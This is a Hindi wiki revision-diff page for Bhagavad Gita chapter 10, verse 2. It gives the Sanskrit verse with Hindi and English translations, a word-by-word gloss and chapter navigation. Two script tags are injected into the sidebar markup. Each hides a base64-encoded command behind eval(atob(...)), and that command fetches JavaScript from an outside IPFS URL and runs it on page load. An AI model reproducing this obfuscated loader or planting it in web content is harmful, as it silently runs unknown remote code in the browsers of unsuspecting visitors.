"गीता 10:2" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पृष्ठ: {{menu}}<br /> <table class="gita" width="100%" align="left"> <tr> <td> ==गीता अध्याय-10 श्लोक-2 / Gita Chapter-10 Verse-2== {| width="80%"...)
 
पंक्ति १२: पंक्ति १२:
 
----
 
----
 
<div align="center">
 
<div align="center">
'''न मे विदु: सुरगणा प्रभवं न महर्षय: ।'''<br/>
+
'''न मे विदु: सुरगणा: प्रभवं न महर्षय: ।'''<br/>
 
'''अहमादिर्हि देवानां महर्षीणां च सर्वश: ।।2।।'''
 
'''अहमादिर्हि देवानां महर्षीणां च सर्वश: ।।2।।'''
 
</div>
 
</div>

१०:०६, १२ अक्टूबर २००९ का अवतरण


गीता अध्याय-10 श्लोक-2 / Gita Chapter-10 Verse-2

प्रसंग-


पहले श्लोक में भगवान् ने जिस विषय पर कहने की प्रतिज्ञा की है, उसका वर्णन आरम्भ करते हुए वे पहले पाँच श्लोकों में योग शब्द वाच्य प्रभाव का और अपनी विभूति का संक्षिप्त वर्णन करते हैं-


न मे विदु: सुरगणा: प्रभवं न महर्षय: ।
अहमादिर्हि देवानां महर्षीणां च सर्वश: ।।2।।



मेरी उत्पत्ति को अर्थात् लीला से प्रकट होने को न देवता लोग जानते हैं और न महर्षिजन ही जानते हैं, क्योंकि मैं सब प्रकार से देवताओं का और महर्षियों का भी आदि कारण हूँ ।।2।।

Neither gods nor the great sages know the secret of my birth (i.e., my appearance in human or other garb out of mere sport); for I am the prime cause in all respects of gods as well as of the great seers. (2)


प्रभवम् = उत्पत्ति को अर्थात् विभूतिसहित लीलासे प्रकट होने को; सुरगणा: = देवतालोग; (विदुJ = जानते हैं (और)श महर्षय: = महर्षिजन(ही); विदु: जानते हैं; हि = क्योंकि; सर्वश: = सब प्रकार से; देवानाम् = देवताओं का; महर्षीणाम् = महर्षियोंका(भी); आदि: = आदकारण हूं


<= पीछे Prev | आगे Next =>


अध्याय दस श्लोक संख्या
Verses- Chapter-10

1 | 2 | 3 | 4, 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12, 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>